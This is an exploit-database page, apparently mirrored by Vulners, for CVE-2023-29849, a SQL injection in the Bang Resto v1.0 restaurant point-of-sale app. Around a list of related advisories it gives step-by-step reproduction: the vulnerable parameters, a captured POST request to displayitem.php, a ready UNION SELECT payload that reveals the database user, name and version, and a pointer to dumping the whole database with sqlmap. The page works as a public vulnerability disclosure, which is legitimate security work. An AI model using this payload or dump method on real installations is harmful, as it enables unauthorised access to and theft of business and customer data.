Lucene search
K

Bang Resto v1.0 - 'Multiple' SQL Injection

🗓️ 20 Apr 2023 00:00:00Reported by Rahad ChowdhuryType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 332 Views

Software Bang Resto v1.0 SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Bang Resto v1.0 - (Multiple) SQL Injection Vulnerability
20 Apr 202300:00
zdt
Circl
CVE-2023-29849
18 Apr 202317:16
circl
CNNVD
HOCKEY COMPUTINDO Bang Resto SQL注入漏洞
20 Apr 202300:00
cnnvd
CVE
CVE-2023-29849
24 Apr 202300:00
cve
Cvelist
CVE-2023-29849
24 Apr 202300:00
cvelist
EUVD
EUVD-2023-33386
3 Oct 202520:07
euvd
NVD
CVE-2023-29849
24 Apr 202315:15
nvd
Packet Storm
Bang Resto 1.0 SQL Injection
17 Apr 202300:00
packetstorm
Prion
Sql injection
24 Apr 202315:15
prion
Positive Technologies
PT-2023-22445 · Unknown · Bang Resto
24 Apr 202300:00
ptsecurity
Rows per page
# Exploit Title: Bang Resto v1.0 - 'Multiple' SQL Injection
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29849

*Affected Parameters:*
btnMenuItemID, itemID, itemPrice, menuID, staffID, itemPrice, itemID[],
itemqty[], btnMenuItemID

*Steps to Reproduce:*
1. First login your staff panel.
2. then go to "order" menu and Select menu then create order and intercept
request data using burp suite.
so your request data will be:

POST /bangresto/staff/displayitem.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/staff/order.php
Cookie: PHPSESSID=2rqvjgkoog89i6g7dn7evdkmk5
Connection: close

btnMenuItemID=1&qty=1

3. "btnMenuItemID" parameter is vulnerable. Let's try to inject union based
SQL Injection use this query ".1 union select
1,2,3,CONCAT_WS(0x203a20,0x557365723a3a3a3a20,USER(),0x3c62723e,0x44617461626173653a3a3a3a3a20,DATABASE(),0x3c62723e,0x56657273696f6e3a3a3a3a20,VERSION())--
-" in "btnMenuItemID" parameter.
4. Check browser you will see user, database and version informations.
5. You could also use sqlmap to dump the whole database by saving the web request from BurpSuite

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2023 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 3.18.8
EPSS0.0172
SSVC
332